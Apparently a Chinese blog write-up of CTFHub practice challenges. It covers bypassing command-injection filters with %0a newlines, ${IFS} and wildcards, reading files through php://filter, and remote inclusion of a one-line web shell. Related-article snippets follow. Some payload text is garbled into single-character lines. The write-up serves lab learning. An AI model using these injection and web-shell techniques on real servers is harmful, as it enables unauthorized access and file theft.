ctfhub 过滤运算符 综合过滤练习 读取源代码 远程包含 eval执行 文件包含 php://input
过滤运算符

过滤了\和&那么尝试;

成功那么将flag cat出来
127.0.0.1;cat flag_27249269530391.php

得到flag
综合过滤练习

这次过滤有点多过滤了&;空格flag,cat,ctfhub
但是没有过滤%0a,%0d,用
I
F
S
取
代
空
格
,
用
{IFS}取代空格,用
IFS取代空格,用*绕过关键词过滤,因为在没有定义的情况下,$*在shell命令执行下为空

回显有一个flag_is_here文件夹
payload:http://challenge-0d5b8ca008f117b9.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0Acd${IFS}fl*ag_is_here%0Als#这里ls是对flag_is_here目录进行操作,所有ls 是在cd flag_is_here执行后在flag_is_here目录下执行,这里拼接的就得用%0a换行符,可以等效&&,不能用%0d,%0d等效于&。

将flag tail出来
http://challenge-0d5b8ca008f117b9.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0Acd
I
F
S
f
l
∗
a
g
i
s
h
e
r
e
{IFS}fl*ag_is_here%0Atail
IFSfl∗agishere{IFS}fl*ag_126912367811026.php#

得到flag
读取源代码

进入环境源码直接给了出来分析代码尝试使用伪协议来读取
?file=php://filter/read=convert.base64-encode/resource=/flag
将读取出来的字符串进行base64解码

flag出现
远程包含

根据题意我们首先在服务器中创建一个文件夹然后编辑一个一句话木马

python启动一个http服务

然后使用蚁剑连接即可
eval执行

题目一进去就把源码给了出来

测试了一下函数能直接运行

将flag cat出来

文件包含

进入题目点击shell

源代码如上

根据题意文件包含又提供了shell,使用hackbar进行shell的使用

查看根目录发现flag

cat出来

php://input

进入题目题目将源码给了出来并且前六位必须为php://
根据题目得知需要使用php://input来解题
补充一个知识点

抓包使用php://input漏洞

cat flag

ctfhub 过滤运算符 综合过滤练习 读取源代码 远程包含 eval执行 文件包含 php://input的更多相关文章
- ctfhub技能树—RCE—综合过滤练习
打开靶机 查看页面信息 查看源码可以发现这一次过滤了很多东西,查看当前目录信息 查询到%0a为换行符,可以利用这个url编码进行命令注入,开始尝试 http://challenge-2a4584dab ...
- ctfhub技能树—RCE—过滤目录分隔符,过滤运算符
过滤目录分隔符 打开靶机 查看页面信息 查询当前目录下文件结构 进入flag_is_here目录 127.0.0.1;cd flag_is_here 127.0.0.1||ls 执行之后发现还是在当前 ...
- php 过滤英文标点符号 过滤中文标点符号
php 过滤英文标点符号 过滤中文标点符号 代码 function filter_mark($text){ if(trim($text)=='')return ''; $text=preg_repla ...
- Fiddler-004-配置过滤器之-域名过滤
前文讲述了通过 Fiddler 进行网络抓包的一个小实例,具体敬请参阅博文: 有些细心的小主可能发现了,我们捕获的 HTTP请求 中有一些请求不是我们需要的,而是一些非必要数据,页面如下图所示:
- NodeJs读取源代码使用的字符集
今天用NodeJs写了个简单的客户端/服务器程序,并让客户端向服务器发送汉字.当在Windows上执行客户端时,发现服务器端打印的接收到的数据是乱码.后来发现Windows上的客户端文件的储存编码方案 ...
- Django(67)drf搜索过滤和排序过滤
前言 当我们需要对后台的数据进行过滤的时候,drf有两种,搜索过滤和排序过滤. 搜索过滤:比如我们想返回sex=1的,那么我们就可以从所有数据中进行筛选 排序过滤:比如我们想对价格进行升序排列,就可以 ...
- jQuery--内容过滤和可见性过滤
一.内容过滤 1.内容过滤选择器介绍 :empty 当前元素是否为空(是否有标签体) :contains(text) 标签体是否含有指定的文本 :has(...) ...
- php 文件包含base64读取文件 preg_replace函数
解题部分题目来源攻防世界web高手进阶区1.拿到题目以后,发现是一个index.php的页面,并且设备-没有显示完全,此位置可疑.2.源代码中发现?page=index,出现page这个get参数,联 ...
- CSAPP Tiny web server源代码分析及搭建执行
1. Web基础 webclient和server之间的交互使用的是一个基于文本的应用级协议HTTP(超文本传输协议). 一个webclient(即浏览器)打开一个到server的因特网连接,而且请求 ...
随机推荐
- C# 使用技巧区
1.事件中的技巧 (1)在事件发送者中,用delegate{}初始化事件.这样就不用每次在使用事件的时候判读事件是否为空了. delegate { }可以赋值给任何类型的委托.这个功能匿名方法特有的, ...
- C#调用带参数的python脚本
问题描述:使用C#调用下面的带参数的用python写的方法,并且想要获取返回值. def Quadratic_Equations(a,b,c): D=b**2-4*a*c ans=[] ans.app ...
- java变量的初始化之后的默认值
对于类的成员变量 不管程序有没有显示的初始化,Java 虚拟机都会先自动给它初始化为默认值. 1.整数类型(byte.short.int.long)的基本类型变量的默认值为0. 2.单精度浮点型(f ...
- Oracle之查询排序
SQL排序查询 DESC降序.ASC升序(默认是升序) /* 语法结构: SELECT * | 列名1[,列名2...] | 表达式 FROM 表名 [WHERE 限定条件] ORDER BY 列名1 ...
- Hadoop2.7.2源码编译过程
目录 准备工作 jar包安装 源码编译 准备工作 CentOS可以联网,验证:ping www.baidu.com 是畅通的 jar 包准备(hadoop 源码.JDK8.maven.ant .pro ...
- Java课程设计---浏览学生(表格的使用)
1.创建显示表格的窗体 package com.student.view; import java.awt.EventQueue; import javax.swing.JFrame; import ...
- C++ 删除一个字符串中的指定字符
Q:一个数字是以xxx,yyy,zzz的字符串形式存储的,将逗号消去并转化为整数输出 方法一:char数组,即定义时s1定义为 char s1[20]的形式: //删除输入字符串中的逗号,并构建新串 ...
- XML序列化反序列化
using System; using System.Collections.Generic; using System.IO; using System.Xml.Serialization; nam ...
- 用NSoup解析HTML
1.在NuGet程序包中添加NSoup包 public static void TestNSoup(string urlStr) { WebClient wc = new WebClient(); b ...
- 流程控制、if、elif、else,whilie、break、continue的使用
今日内容 流程控制理论 if判断 while循环 流程控制概念 流程控制就是控制事物的执行流程 执行流程的分类 顺序结构 从上往下依次执行,代码运行流程图如下 分支结构 根据某些条件判断做出不同的运行 ...